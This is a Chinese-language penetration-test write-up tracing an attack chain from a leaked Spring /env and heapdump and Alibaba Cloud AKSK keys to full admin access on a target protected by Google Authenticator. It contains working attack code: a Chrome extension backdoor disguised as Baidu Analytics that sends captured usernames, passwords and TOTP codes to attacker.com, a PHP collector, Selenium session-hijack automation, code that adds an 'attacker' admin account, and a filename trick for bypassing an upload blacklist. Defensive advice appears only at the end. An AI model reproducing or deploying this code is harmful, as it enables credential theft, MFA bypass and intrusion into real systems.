AKSK 命令执行到谷歌验证码劫持
字数 1369 2025-08-20 18:18:40
AKSK 命令执行到谷歌验证码劫持渗透测试技术分析
1. 前言
本文详细分析了一次从阿里云AKSK泄露到最终获取目标系统权限的完整渗透过程,重点介绍了Spring敏感信息泄露、AKSK利用、Chrome插件后门开发、Selenium会话维持等关键技术点。
2. 初始信息收集与漏洞发现
2.1 Spring敏感信息泄露
- 发现目标三级子域名存在Spring接口未授权访问
- 通过
/env接口获取多个密码和阿里云AKSK凭证 - 调用
heapdump接口下载100M+内存转储文件 - 使用MemoryAnalyzer工具分析内存文件,提取:
- 阿里云AKSK密文
- 内网Redis和Mysql明文密码
3. 阿里云AKSK利用
3.1 主机发现与评估
- 使用获取的AKSK检查阿里云资源:
- 发现十几台主机
- 识别关键主机:"xxx-跳板机"(杭州区域)
- 确认该AKSK属于测试网络,但跳板机可能通向生产网
3.2 命令执行与权限获取
- 通过AKSK在跳板机执行命令,成功上线Cobalt Strike
- 信息收集发现:
- 多个管理账号
- 大部分为弱口令(如123456)
- admin1用户使用Chrome打开目标后台且保存了密码
- 后台受谷歌验证码保护
3.3 防火墙绕过
- 发现3389端口受防火墙限制,仅允许公司出口IP访问
- 收集公司出口IP信息
- 临时添加防火墙规则允许跳板机IP访问3389
- 使用后及时删除规则避免被发现
4. Chrome验证码劫持技术
4.1 后门插件开发
- 开发Chrome扩展后门,伪装为常用插件(如百度统计)
- 功能实现:
// 监控表单提交事件 document.addEventListener('submit', captureData); document.addEventListener('keypress', function(e) { if(e.keyCode == 13) captureData(); }); function captureData() { // 获取账号、密码和验证码 var username = document.getElementById('username').value; var password = document.getElementById('password').value; var code = document.querySelector('[name="code"]').value; // 发送到攻击者服务器 fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify({u:username, p:password, c:code}) }); }
4.2 插件隐藏技术
- 修改插件manifest使其不在扩展栏显示
- 使用常见插件ID和名称降低怀疑
4.3 服务器端接收
<?php
$data = json_decode(file_get_contents('php://input'), true);
file_put_contents('info.txt',
date('Y-m-d H:i:s')." - ".$data['u'].":".$data['p'].":".$data['c']."\n",
FILE_APPEND);
file_put_contents('login.txt',
$data['u'].":".$data['p'].":".$data['c']);
?>
5. Selenium自动化维持
5.1 自动化登录系统
from selenium import webdriver
import time
def check_and_login():
with open('login.txt') as f:
creds = f.read().strip().split(':')
driver = webdriver.Chrome()
driver.get("https://target.com/login")
# 自动填写凭据
driver.find_element_by_name('username').send_keys(creds[0])
driver.find_element_by_name('password').send_keys(creds[1])
driver.find_element_by_name('code').send_keys(creds[2])
driver.find_element_by_tag_name('form').submit()
# 维持会话
while True:
time.sleep(3)
driver.refresh()
# 检查是否仍登录
if "login" in driver.current_url:
break
5.2 验证码劫持升级
- 扩展监控所有表单提交,遍历DOM寻找6位数验证码
- 使用斯坦福大学加密库实现Google Authenticator算法
- 动态生成新用户所需的验证码:
// 使用新密钥生成验证码 var newKey = generateNewSecret(); var newCode = generateCode(newKey); // 使用当前用户验证码发起添加用户请求 fetch('/api/addUser', { method: 'POST', body: JSON.stringify({ newUser: 'attacker', newKey: newKey, newCode: newCode, currentCode: capturedCode }) });
6. 最终突破与权限提升
6.1 文件上传绕过
发现公告发布功能存在黑名单过滤:
- 原始上传
1.php→ 被删除 → 结果为1. - 变形上传
1.pphp→ 删除.php → 结果为1.p - 高级变形
1.pphphphpp→ 删除所有.php → 结果为1.php
6.2 权限维持
- 通过一周的Selenium监控捕获管理员登录
- 自动添加新管理员账户
- 获取持久化访问权限
7. 防御建议
7.1 预防AKSK泄露
- 避免在Spring等框架中暴露敏感信息
- 定期轮换AKSK
- 使用最小权限原则配置AKSK
7.2 验证码安全
- 实现验证码一次性使用
- 关键操作要求重新验证
- 监控异常验证请求
7.3 浏览器安全
- 禁用未经验证的浏览器扩展
- 监控异常网络请求
- 实施内容安全策略(CSP)
7.4 文件上传防护
- 使用白名单而非黑名单
- 结合文件内容检测
- 上传文件隔离执行
8. 总结
本案例展示了从云服务凭证泄露到最终系统沦陷的完整攻击链,强调了纵深防御的重要性。攻击者通过组合Spring信息泄露、AKSK滥用、浏览器扩展后门、自动化工具等多种技术,最终克服了谷歌验证码等安全措施。防御方需要从多个层面构建防护体系,才能有效抵御此类复杂攻击。